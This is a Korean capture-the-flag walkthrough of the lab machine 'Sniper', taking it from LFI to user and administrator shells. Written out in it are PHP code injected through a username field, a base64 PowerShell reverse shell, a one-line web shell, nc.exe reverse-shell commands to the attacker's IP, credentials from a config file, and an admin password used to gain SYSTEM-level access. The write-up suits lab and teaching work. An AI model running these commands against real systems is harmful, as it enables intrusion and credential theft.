1. 정찰
1.1. nmap
nmap 정찰 결과 80 포트가 서비스 중인 것이 눈에 띈다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# nmap -sC -sV 10.129.229.6 --max-retries 1 --min-rate 5000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-01 20:58 +04
Nmap scan report for 10.129.229.6
Host is up (0.36s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Sniper Co.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-01-01T23:59:15
|_ start_date: N/A
|_clock-skew: 6h59m22s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.43 seconds
1.2. Login 페이지 식별
로그인 페이지를 식별할 수 있다. 이 때 ID 를 test 로 만든다. 이메일은 test@test.com 으로, 비밀번호도 test 로 만들었다.

로그인 해서 접근을 하면 다음과 같이 사이트 수리중임을 알 수 있다.

1.3. blog 페이지 식별
blog 페이지에 들어갔더니 LFI 가 가능해 보이는 흔적을 찾았다. blog-en.php 를 다른 파일로 변경할 수 있을 것으로 기대한다.

1.4. \windows\wmi.ini 파일 열거
앞서 135/139번 포트가 열린 거로 보아 Windows 서비스 임을 유추해볼 수 있는데, 여기서 나아가 \windows\wmi.ini 파일이 열리는지 확인해 본다.

해당 파일을 확인해 보면 아래와 같은 내용을 소스코드에서 식별할 수 있다.

1.5. PHPSESSID 확인
Windows 에서 제공하는 웹서비스는 \windows\temp\SESS_00000000 와 같이 파일을 통해서 접근이 가능하다. 그래서 PHPSESSID 를 확인해 본다.

그 다음에 LFI 를 통해서 접근을 시도한다.

회원 가입했던 아이디가 출력되는 것을 확인할 수 있다.

2. LFI 악용
2.1. 회원 가입 아이디 오용
만약에 회원 가입을 할 때 아이디를 <?php system("whoami") ?> 와 같이 하면 어떻게 되는지 확인한다.

그리고 똑같이 확인하니까 nt authority\iusr 이라고 출력되는 것을 확인할 수 있다.

2.2. 리버스 쉘
2.2.1. base64 인코딩을 통한 리버스 쉘 맺기
그러면 리버스 쉘을 맺기 위한 작업을 한다.
리버스 쉘을 맺기에 앞서, 회원가입 시 아이디를 받을 때 모든 문자열이 들어가지 않든다. 특히 싱글쿼터 ’ 같은 경우에는 필터링을 하는 조건이 있기 때문에 싱글쿼터를 넣을 수 없어서 백틱(`)을 넣어서 사용해야 한다. 그 외에도 다른 규칙들이 존재하지만 현재 블랙박스 침투 환경이기 때문에 확인할 수 없으므로 최대한 간단하게 만드는 방안을 강구한다.
따라서 powershell 을 통해서 리버스 쉘을 맺어야 하기 때문에 base64 로 인코딩을 하는 방법을 채택했다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# echo 'cmd /c "\\10.10.14.143\share\nc.exe -e cmd 10.10.14.143 443"' | iconv -f ascii -t utf-16le | base64 -w0
YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADMAXABzAGgAYQByAGUACgBjAC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADEANAAzACAANAA0ADMAIgAKAA==
그 다음 아이디를 아래와 같은 문자열로 만들어 준다.
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADMAXABzAGgAYQByAGUACgBjAC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADEANAAzACAANAA0ADMAIgAKAA==` ?>
2.2.2. --data-urlencode 값에 명령어 넣기
다른 방식의 리버스 쉘을 맺는 방법에 대해서도 확인한다. 먼저 cmd.php 를 만들어서 간단하게 웹쉘을 사용할 수 있는 거를 smbserver 를 열어서 접근 가능하게 한다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# cat cmd.php
<?php system($_REQUEST['cmd']); ?>
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# impacket-smbserver share . -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
이후 --data-urlencode 에 lang 에 해당하는 옵션이 smbserver 에 접근할 수 있는 링크를, cmd 에 whoami 와 같은 명령어를 전달한다. 그러면 nt authority\iusr 가 정상 출력되는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# curl -s -G 'http://10.129.229.6/blog/' --data-urlencode 'lang=\\10.10.14.143\share\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'
</html>
nt authority\iusr
</body>
</html>
정상적으로 출력되는 걸 확인했으니 nc 를 이용해서 리버스 쉘을 맺을 수 있도록 명령어를 전달한다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# curl -s -G 'http://10.129.229.6/blog/' --data-urlencode 'lang=\\10.10.14.143\share\cmd.php' --data-urlencode 'cmd=\\10.10.14.143\share\nc.exe -e cmd.exe 10.10.14.143 443'
그리고 리버스 쉘이 맺어지는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# rlwrap nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.229.6] 49729
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot\blog>
3. Lateral Movement
3.1. config 파일 확인
먼저 웹 서비스에 관한 유저이기 때문에 많은 권한이 없을 거라고 추정할 수 있다. 그래서 데이터베이스에 접근할 수 있는 계정을 먼저 식별한다. 그 중에 눈에 띄는 게 db.php 파일이다.
C:\inetpub\wwwroot\blog>cd ..
cd ..
C:\inetpub\wwwroot>dir
dir
Volume in drive C has no label.
Volume Serial Number is AE98-73A8
Directory of C:\inetpub\wwwroot
04/11/2019 09:51 AM <DIR> .
04/11/2019 09:51 AM <DIR> ..
04/11/2019 04:23 AM <DIR> blog
04/11/2019 04:23 AM <DIR> css
04/11/2019 04:23 AM <DIR> images
04/11/2019 04:22 PM 2,635 index.php
04/11/2019 04:23 AM <DIR> js
04/11/2019 04:23 AM <DIR> scss
10/01/2019 07:44 AM <DIR> user
1 File(s) 2,635 bytes
8 Dir(s) 2,422,276,096 bytes free
C:\inetpub\wwwroot>cd user
cd user
C:\inetpub\wwwroot\user>dir
dir
Volume in drive C has no label.
Volume Serial Number is AE98-73A8
Directory of C:\inetpub\wwwroot\user
10/01/2019 07:44 AM <DIR> .
10/01/2019 07:44 AM <DIR> ..
04/11/2019 04:15 PM 108 auth.php
04/11/2019 04:52 AM <DIR> css
04/11/2019 09:51 AM 337 db.php
04/11/2019 04:23 AM <DIR> fonts
04/11/2019 04:23 AM <DIR> images
04/11/2019 05:18 AM 4,639 index.php
04/11/2019 04:23 AM <DIR> js
04/11/2019 05:10 AM 6,463 login.php
04/08/2019 10:04 PM 148 logout.php
10/01/2019 07:42 AM 7,192 registration.php
08/14/2019 09:35 PM 7,004 registration_old123123123847.php
04/11/2019 04:23 AM <DIR> vendor
7 File(s) 25,891 bytes
7 Dir(s) 2,422,276,096 bytes free
db.php 파일을 확인해 보면 mysql 에 대해서 dbuser 라는 계정과 36mEAhz/B8xQ~2VM 의 비밀번호를 갖고 있다. 하지만 dbuser 가 서버의 계정일 거라고 생각하지는 않는다.
C:\inetpub\wwwroot\user>type db.php
type db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
?>
C:\Users 폴더로 갔을 때 Chris 라는 계정이 존재한다. 해당 비밀번호가 Chris 의 비밀번호 일 수도 있다고 “추정” 정도는 할 수 있다.
C:\inetpub\wwwroot\user>dir C:\Users
dir C:\Users
Volume in drive C has no label.
Volume Serial Number is AE98-73A8
Directory of C:\Users
04/11/2019 06:04 AM <DIR> .
04/11/2019 06:04 AM <DIR> ..
04/09/2019 05:47 AM <DIR> Administrator
04/11/2019 06:04 AM <DIR> Chris
04/09/2019 05:47 AM <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 2,197,118,976 bytes free
3.2. Chris 권한 탈취
먼저 Chris 계정을 탈취하기 위해 runas 를 실행시켜서 Chirs 의 권한으로 리버스 쉘을 맺고 싶다. 그래서 RunasCS 를 이용해서 실행시키려고 한다. 하지만 RunasCs 를 통해서 접근하려고 했으나 다운로드가 되지 않는다.
PS C:\inetpub\wwwroot\user> powershell Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
powershell Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
Invoke-WebRequest : Access to the path 'C:\inetpub\wwwroot\user\RunasCs.exe' is denied.
At line:1 char:1
+ Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.ex ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Invoke-WebRequest], UnauthorizedAccessException
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
Temp 폴더에 들어가서 다운로드를 시도했고, 다운로드가 성공했으나, dir 이 먹히지 않는다.
PS C:\Windows\Temp> Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
PS C:\Windows\Temp> dir
dir
dir : Access to the path 'C:\Windows\Temp' is denied.
At line:1 char:1
+ dir
+ ~~~
+ CategoryInfo : PermissionDenied: (C:\Windows\Temp:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
그냥 바로 실행시키니까 정상 작동하기에, 바로 실행시켜서 443번 포트를 이용해서 리버스 쉘을 맺는다.
C:\Windows\Temp>.\RunasCs.exe
.\RunasCs.exe
[-] Not enough arguments. 3 Arguments required. Use --help for additional help.
PS C:\Windows\Temp> .\RunasCs.exe "Chris" "36mEAhz/B8xQ~2VM" cmd.exe -r 10.10.14.143:443
.\RunasCs.exe "Chris" "36mEAhz/B8xQ~2VM" cmd.exe -r 10.10.14.143:443
[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-3e3$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5424 created in background.
Chris 계정으로의 쉘이 맺어진 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.229.6] 49785
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
sniper\chris
C:\Windows\system32>
3.3. user.txt 의 flag 획득
C:\Users\Chris\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is AE98-73A8
Directory of C:\Users\Chris\Desktop
04/11/2019 07:15 AM <DIR> .
04/11/2019 07:15 AM <DIR> ..
01/01/2026 03:54 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 2,132,213,760 bytes free
4. 권한 상승
4.1. Docs 디렉토리 톺아보기
먼저 C:\ 에 가서 폴더를을 확인해 보면 Docs 파일이 존재하는 것을 확인할 수 있다.
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is AE98-73A8
Directory of C:\
10/01/2019 12:04 PM <DIR> Docs
04/09/2019 06:07 AM <DIR> inetpub
04/11/2019 05:44 AM <DIR> Microsoft
09/14/2018 11:19 PM <DIR> PerfLogs
04/29/2022 12:18 PM <DIR> Program Files
08/14/2019 09:38 PM <DIR> Program Files (x86)
04/11/2019 06:04 AM <DIR> Users
04/29/2022 12:19 PM <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 2,132,213,760 bytes free
C:\>cd Docs
cd Docs
C:\Docs>
해당 디렉토리에 note.txt 가 존재해서 읽어보면 아래와 같은 메시지가 남아 있다.
C:\Docs>type note.txt
type note.txt
Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
Regards,
Sniper CEO.
C:\Docs>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
(생략) 사유 : Windows 환경을 통해 CHM 파일을 확인하고 생성할 여건이 안 됨 / Apple 실리콘 맥북 사용 중
4.2. root.txt 의 flag 획득
파워쉘을 이용해 리버스 쉘을 맺을 명령어를 전달한다.
PS C:\Docs> $password = convertto-securestring -AsPlainText -Force -String "butterfly!#1";
$password = convertto-securestring -AsPlainText -Force -String "butterfly!#1";
PS C:\Docs> $credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\Administrator",$password;
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\Administrator",$password;
PS C:\Docs> Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.143 5555} -credential $credential;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.143 5555} -credential $credential;
명령어가 정상 실행 됐으면 flag 를 획득할 수 있다.
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.229.6] 49789
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\Documents>whoami
whoami
sniper\administrator
C:\Users\Administrator\Documents>cd ..
cd ..
C:\Users\Administrator>cd Desktop
cd Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt